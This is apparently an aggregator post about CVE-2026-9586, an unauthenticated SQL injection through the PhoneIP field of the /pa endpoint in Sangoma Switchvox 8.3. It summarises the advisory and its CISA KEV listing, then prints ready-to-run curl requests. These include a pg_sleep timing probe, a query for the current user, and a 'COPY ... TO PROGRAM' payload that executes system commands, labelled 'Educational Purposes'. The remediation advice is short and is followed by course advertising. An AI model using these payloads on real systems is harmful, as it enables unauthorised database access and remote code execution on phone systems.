Listen to this Post
CVE-2026-9586 affects Sangoma Switchvox SMB Edition 8.3 (104997).
The vulnerable component is the /pa endpoint.
The /pa endpoint accepts XML content.
The XML document must begin with .
The endpoint extracts the PhoneIP value from the XML.
The PhoneIP value is user-controlled.
The PhoneIP value is concatenated directly into PostgreSQL queries.
No sanitization is applied to PhoneIP.
No parameterization is used for PhoneIP.
The vulnerable CWE is CWE-89.
CWE-89 is Improper Neutralization of Special Elements used in an SQL Command.
The vulnerability is an unauthenticated SQL injection.
An unauthenticated remote attacker can reach the endpoint.
A single crafted request can trigger the injection.
The crafted request can execute arbitrary SQL statements.
The SQL statements run against the backend PostgreSQL database.
The attacker can perform database operations.
The attacker can potentially achieve remote code execution.
Affected on-premises versions start at 8.2.2.1.
Affected versions exclude 8.4.0.2 and later.
Sangoma Switchvox SMB Edition 8.3 (104997) is specifically affected.
The source is Security Risk Advisors.
NVD published the CVE on Jul 17, 2026.
NVD last modified the CVE on Sep 03, 2026.
CISA added the CVE to the Known Exploited Vulnerabilities Catalog.
CISA added it on September 02, 2026.
CISA due date is September 05, 2026.
CISA requires applying mitigations per vendor instructions.
CISA references BOD 26-04 prioritization guidance.
CISA also references Forensics Triage Requirements.
If mitigations are unavailable, discontinue use or follow cloud service guidance.
DailyCVE Form:
Platform: Sangoma Switchvox SMB
Version: 8.3 (104997)
Vulnerability: Unauthenticated SQL Injection
Severity: Critical
date: Jul 17, 2026
Prediction: 2026-09-05
(end of form)
What Undercode Say:
Analytics:
curl -k -X POST 'https://TARGET/pa' \ -H 'Content-Type: application/xml' \ --data-binary '<?xml version="1.0"?><PolycomIPPhone><PhoneIP>1.2.3.4</PhoneIP></PolycomIPPhone>'
time curl -k -X POST 'https://TARGET/pa' \ -H 'Content-Type: application/xml' \ --data-binary '<?xml version="1.0"?><PolycomIPPhone><PhoneIP>127.0.0.1'"'"'; SELECT pg_sleep(5);--</PhoneIP></PolycomIPPhone>'
grep -R "PhoneIP" /opt/switchvox 2>/dev/null
SELECT version(); SELECT current_user;
Exploit: (Educational Purposes!)
cat > payload.xml <<'EOF' <?xml version="1.0"?> <PolycomIPPhone> <PhoneIP>127.0.0.1'; SELECT current_user;--</PhoneIP> </PolycomIPPhone> EOF curl -k -X POST 'https://TARGET/pa' -H 'Content-Type: application/xml' --data-binary @payload.xml
<?xml version="1.0"?> <PolycomIPPhone> <PhoneIP>127.0.0.1'; COPY (SELECT '') TO PROGRAM 'id';--</PhoneIP> </PolycomIPPhone>
Protection:
Apply vendor fix 8.4.0.2 or later.
Parameterize PostgreSQL queries.
Sanitize PhoneIP XML input.
Restrict /pa endpoint access.
Monitor CISA KEV due date 2026-09-05.
Impact:
Unauthenticated database compromise.
Data theft or modification.
Remote code execution.
Full system compromise.
Known exploited vulnerability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
